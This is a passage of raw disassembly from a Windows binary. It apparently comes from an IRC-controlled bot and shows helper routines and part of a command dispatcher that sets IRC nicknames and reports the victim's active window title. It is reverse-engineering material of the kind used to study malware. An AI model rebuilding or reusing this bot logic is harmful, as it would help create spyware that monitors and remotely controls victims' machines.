locret_40A4A2:				; CODE XREF: sub_40A2D2+62j
					; sub_40A2D2+B8j ...
		leave
		retn
sub_40A2D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4A4	proc near		; DATA XREF: sub_40A50E+A1o

var_3A8		= dword	ptr -3A8h
var_2A4		= byte ptr -2A4h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3A8h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_40A2D2
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40A4FC
		lea	eax, [ebp+var_2A4]
		push	eax
		push	offset dword_419698
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40A4FC:				; CODE XREF: sub_40A4A4+3Bj
		push	[ebp+var_3A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40A4A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A50E	proc near		; CODE XREF: sub_40A9CF+FE3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A51D
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------


loc_40A51D:				; CODE XREF: sub_40A50E+8j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A536
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------


loc_40A536:				; CODE XREF: sub_40A50E+21j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A562
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40A586
; ---------------------------------------------------------------------------


loc_40A562:				; CODE XREF: sub_40A50E+3Dj
		push	offset dword_4196D4
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_4105FB
		pop	ecx


loc_40A586:				; CODE XREF: sub_40A50E+52j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4196B4
		push	0
		push	[ebp+var_4]
		push	offset sub_40A4A4
		call	sub_4095A4
		add	esp, 18h

locret_40A5BC:				; CODE XREF: sub_40A50E+Aj
					; sub_40A50E+23j
		leave
		retn
sub_40A50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5BE	proc near		; CODE XREF: sub_40A5BE+32p
					; sub_40A5BE+70p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A603
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A5DD
		mov	al, 1
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5DD:				; CODE XREF: sub_40A5BE+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A5FC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5FC:				; CODE XREF: sub_40A5BE+28j
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A603:				; CODE XREF: sub_40A5BE+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A614
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A614:				; CODE XREF: sub_40A5BE+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A63A
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A63A:				; CODE XREF: sub_40A5BE+64j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A65B
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A65B:				; CODE XREF: sub_40A5BE+85j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69E
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A67C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A687


loc_40A67C:				; CODE XREF: sub_40A5BE+B1j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69A


loc_40A687:				; CODE XREF: sub_40A5BE+BCj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69A:				; CODE XREF: sub_40A5BE+C7j
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69E:				; CODE XREF: sub_40A5BE+A6j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A6E7
		and	[ebp+var_4], 0
		jmp	short loc_40A6B6
; ---------------------------------------------------------------------------


loc_40A6AF:				; CODE XREF: sub_40A5BE:loc_40A6E5j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40A6B6:				; CODE XREF: sub_40A5BE+EFj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A6D4
		mov	al, 1
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6D4:				; CODE XREF: sub_40A5BE+110j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A6E5
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6E5:				; CODE XREF: sub_40A5BE+121j
		jmp	short loc_40A6AF
; ---------------------------------------------------------------------------


loc_40A6E7:				; CODE XREF: sub_40A5BE+E9j
		xor	al, al

locret_40A6E9:				; CODE XREF: sub_40A5BE+1Aj
					; sub_40A5BE+39j ...
		leave
		retn
sub_40A5BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6EB	proc near		; CODE XREF: sub_4097A7+10Ap
					; sub_4098F3+155p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A730
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A70A
		mov	al, 1
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A70A:				; CODE XREF: sub_40A6EB+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A729
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A729:				; CODE XREF: sub_40A6EB+28j
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A730:				; CODE XREF: sub_40A6EB+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A741
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A741:				; CODE XREF: sub_40A6EB+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A767
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_40A6EB+64j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jl	short loc_40A77D
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ah
		jle	short loc_40A793


loc_40A77D:				; CODE XREF: sub_40A6EB+85j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 61h
		jl	short loc_40A7BC
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Ah
		jg	short loc_40A7BC


loc_40A793:				; CODE XREF: sub_40A6EB+90j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		xor	eax, 20h
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A7BC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7BC:				; CODE XREF: sub_40A6EB+9Bj
					; sub_40A6EB+A6j ...
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A7DD
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7DD:				; CODE XREF: sub_40A6EB+DAj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A820
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A7FE
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A809


loc_40A7FE:				; CODE XREF: sub_40A6EB+106j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A81C


loc_40A809:				; CODE XREF: sub_40A6EB+111j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A81C:				; CODE XREF: sub_40A6EB+11Cj
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A820:				; CODE XREF: sub_40A6EB+FBj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A869
		and	[ebp+var_4], 0
		jmp	short loc_40A838
; ---------------------------------------------------------------------------


loc_40A831:				; CODE XREF: sub_40A6EB:loc_40A867j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40A838:				; CODE XREF: sub_40A6EB+144j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A856
		mov	al, 1
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A856:				; CODE XREF: sub_40A6EB+165j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A867
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A867:				; CODE XREF: sub_40A6EB+176j
		jmp	short loc_40A831
; ---------------------------------------------------------------------------


loc_40A869:				; CODE XREF: sub_40A6EB+13Ej
		xor	al, al

locret_40A86B:				; CODE XREF: sub_40A6EB+1Aj
					; sub_40A6EB+39j ...
		leave
		retn
sub_40A6EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A86D	proc near		; CODE XREF: sub_40A8AD+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_4], 1
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A884
		push	1
		pop	eax
		jmp	short locret_40A8AB
; ---------------------------------------------------------------------------


loc_40A884:				; CODE XREF: sub_40A86D+10j
		mov	[ebp+var_8], 1
		jmp	short loc_40A894
; ---------------------------------------------------------------------------


loc_40A88D:				; CODE XREF: sub_40A86D+39j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40A894:				; CODE XREF: sub_40A86D+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]


loc_40A89A:				; DATA XREF: .data:0041AE78o
					; .data:0041AEBCo ...
		jg	short loc_40A8A8
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_40A88D
; ---------------------------------------------------------------------------


loc_40A8A8:				; CODE XREF: sub_40A86D:loc_40A89Aj
		mov	eax, [ebp+var_4]

locret_40A8AB:				; CODE XREF: sub_40A86D+15j
		leave
		retn
sub_40A86D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8AD	proc near		; CODE XREF: sub_406509+26p
					; sub_40A9CF+193Fp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		push	edi
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_20], 0
		mov	esi, offset aAbcdef ; "abcdef"
		lea	edi, [ebp+var_1C]
		movsd
		movsw
		movsb
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jnz	short loc_40A90C
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 78h
		jz	short loc_40A905
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 58h
		jnz	short loc_40A90C


loc_40A905:				; CODE XREF: sub_40A8AD+48j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_40A90C:				; CODE XREF: sub_40A8AD+33j
					; sub_40A8AD+56j
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_14], eax
		jmp	short loc_40A927
; ---------------------------------------------------------------------------


loc_40A920:				; CODE XREF: sub_40A8AD+116j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_40A927:				; CODE XREF: sub_40A8AD+71j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_28]
		jge	loc_40A9C8
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_416DE4	; tolower
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 30h
		jl	short loc_40A95D
		cmp	[ebp+var_8], 39h
		jg	short loc_40A95D
		mov	eax, [ebp+var_8]
		sub	eax, 30h
		mov	[ebp+var_10], eax
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A95D:				; CODE XREF: sub_40A8AD+9Dj
					; sub_40A8AD+A3j
		cmp	[ebp+var_8], 61h
		jl	short loc_40A99C
		cmp	[ebp+var_8], 66h
		jg	short loc_40A99C
		and	[ebp+var_24], 0
		jmp	short loc_40A976
; ---------------------------------------------------------------------------


loc_40A96F:				; CODE XREF: sub_40A8AD:loc_40A998j
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+var_24], eax


loc_40A976:				; CODE XREF: sub_40A8AD+C0j
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		test	eax, eax
		jz	short loc_40A99A
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		cmp	[ebp+var_8], eax
		jnz	short loc_40A998
		mov	eax, [ebp+var_24]
		add	eax, 0Ah
		mov	[ebp+var_10], eax


loc_40A998:				; CODE XREF: sub_40A8AD+E0j
		jmp	short loc_40A96F
; ---------------------------------------------------------------------------


loc_40A99A:				; CODE XREF: sub_40A8AD+D3j
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A99C:				; CODE XREF: sub_40A8AD+B4j
					; sub_40A8AD+BAj
		xor	eax, eax
		jmp	short loc_40A9CB
; ---------------------------------------------------------------------------


loc_40A9A0:				; CODE XREF: sub_40A8AD+AEj
					; sub_40A8AD:loc_40A99Aj
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_14]
		dec	eax
		push	eax
		push	10h
		call	sub_40A86D
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	loc_40A920
; ---------------------------------------------------------------------------


loc_40A9C8:				; CODE XREF: sub_40A8AD+80j
		mov	eax, [ebp+var_C]


loc_40A9CB:				; CODE XREF: sub_40A8AD+F1j
		pop	edi
		pop	esi
		leave
		retn
sub_40A8AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9CF	proc near		; CODE XREF: sub_40D871+C95p
					; sub_40D871+D9Cp

var_6424	= dword	ptr -6424h
var_6420	= dword	ptr -6420h
var_641C	= dword	ptr -641Ch
var_6418	= dword	ptr -6418h
var_6414	= dword	ptr -6414h
var_6410	= dword	ptr -6410h
var_640C	= dword	ptr -640Ch
var_6408	= dword	ptr -6408h
var_6404	= dword	ptr -6404h
var_6400	= dword	ptr -6400h
var_63FC	= dword	ptr -63FCh
var_63F8	= dword	ptr -63F8h
var_63F4	= dword	ptr -63F4h
var_63F0	= dword	ptr -63F0h
var_63EC	= dword	ptr -63ECh
var_63E8	= dword	ptr -63E8h
var_63E4	= dword	ptr -63E4h
var_63E0	= dword	ptr -63E0h
var_63DC	= dword	ptr -63DCh
var_63D8	= dword	ptr -63D8h
var_63D4	= dword	ptr -63D4h
var_63D0	= dword	ptr -63D0h
var_63CC	= dword	ptr -63CCh
var_63C8	= dword	ptr -63C8h
var_63C4	= dword	ptr -63C4h
var_63C0	= dword	ptr -63C0h
var_63BC	= dword	ptr -63BCh
var_63B8	= dword	ptr -63B8h
var_63B4	= word ptr -63B4h
var_63B2	= word ptr -63B2h
var_63B0	= dword	ptr -63B0h
var_63A4	= dword	ptr -63A4h
var_63A0	= byte ptr -63A0h
var_639C	= dword	ptr -639Ch
var_6398	= byte ptr -6398h
var_6397	= byte ptr -6397h
var_6396	= byte ptr -6396h
var_6395	= byte ptr -6395h
var_6394	= byte ptr -6394h
var_6393	= byte ptr -6393h
var_6392	= byte ptr -6392h
var_6391	= byte ptr -6391h
var_6390	= byte ptr -6390h
var_638F	= byte ptr -638Fh
var_638E	= byte ptr -638Eh
var_638D	= byte ptr -638Dh
var_638C	= dword	ptr -638Ch
var_6388	= byte ptr -6388h
var_5F84	= dword	ptr -5F84h
var_5F80	= byte ptr -5F80h
var_5B7C	= dword	ptr -5B7Ch
var_5B78	= dword	ptr -5B78h
var_5B74	= byte ptr -5B74h
var_5A70	= dword	ptr -5A70h
var_5A6C	= dword	ptr -5A6Ch
var_5A68	= dword	ptr -5A68h
var_5A64	= byte ptr -5A64h
var_1A64	= dword	ptr -1A64h
var_1A60	= byte ptr -1A60h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_A38		= byte ptr -0A38h
var_A30		= dword	ptr -0A30h
var_A2C		= dword	ptr -0A2Ch
var_A28		= dword	ptr -0A28h
var_A24		= dword	ptr -0A24h
var_A20		= dword	ptr -0A20h
var_A1C		= dword	ptr -0A1Ch
var_A18		= byte ptr -0A18h
var_9F8		= dword	ptr -9F8h
var_9F4		= byte ptr -9F4h
var_9EF		= byte ptr -9EFh
var_9EA		= byte ptr -9EAh
var_9E5		= byte ptr -9E5h
var_9E0		= byte ptr -9E0h
var_9DB		= byte ptr -9DBh
var_9D8		= byte ptr -9D8h
var_9A4		= byte ptr -9A4h
var_970		= byte ptr -970h
var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_8D3		= byte ptr -8D3h
var_8D2		= byte ptr -8D2h
var_8CD		= byte ptr -8CDh
var_8CC		= byte ptr -8CCh
var_8C7		= byte ptr -8C7h
var_8C6		= byte ptr -8C6h
var_8C1		= byte ptr -8C1h
var_8C0		= byte ptr -8C0h
var_8BB		= byte ptr -8BBh
var_8B8		= byte ptr -8B8h
var_8A0		= byte ptr -8A0h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_718		= byte ptr -718h
var_59B		= byte ptr -59Bh
var_598		= byte ptr -598h
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_1F0		= byte ptr -1F0h
var_1CC		= byte ptr -1CCh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_183		= byte ptr -183h
var_83		= dword	ptr -83h
var_7F		= byte ptr -7Fh
var_19		= byte ptr -19h
var_B		= byte ptr -0Bh
var_8		= byte ptr -8
var_5		= dword	ptr -5
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, 6424h
		call	sub_416BC0
		push	esi
		push	edi
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_1A8], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_183]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_83], eax
		push	7Ah
		push	[ebp+arg_10]
		lea	eax, [ebp+var_7F]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_5], 1
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F18
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AA59
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415AF0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AA59:				; CODE XREF: sub_40A9CF+76j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AACF
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40AAAC
		lea	eax, [ebp+var_214]
		push	eax
		lea	eax, [ebp+var_1F0]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1CC]
		push	eax
		push	offset aNickS	; "NICK	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AAAC:				; CODE XREF: sub_40A9CF+A6j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D7E5
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset aNickS	; "NICK	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AACF:				; CODE XREF: sub_40A9CF+9Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB21
		push	200h
		lea	eax, [ebp+var_414]
		push	eax
		call	ds:dword_4171D8	; GetForegroundWindow
		push	eax
		call	ds:dword_4171E4	; GetWindowTextA
		test	eax, eax
		jle	short loc_40AB1C
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419EDC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AB1C:				; CODE XREF: sub_40A9CF+130j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB21:				; CODE XREF: sub_40A9CF+113j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ED0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB56
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4077DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB56:				; CODE XREF: sub_40A9CF+165j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AC89
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AC84
		push	180h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 3
		jle	short loc_40ABFE
		push	offset dword_419EC0
		mov	eax, [ebp+var_418]
		lea	eax, [ebp+eax+var_59B]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40ABFE
		mov	eax, [ebp+var_418]
		and	[ebp+eax+var_59B], 0
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_4078A0
		pop	ecx
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax


loc_40ABFE:				; CODE XREF: sub_40A9CF+1E1j
					; sub_40A9CF+1FFj
		mov	eax, [ebp+var_418]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_418]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AC1F
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AC1F:				; CODE XREF: sub_40A9CF+249j
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF29
		pop	ecx
		pop	ecx
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF59
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		push	[ebp+var_418]
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		lea	eax, [ebp+var_718]
		push	eax
		push	offset dword_419E9C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AC84:				; CODE XREF: sub_40A9CF+1A7j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


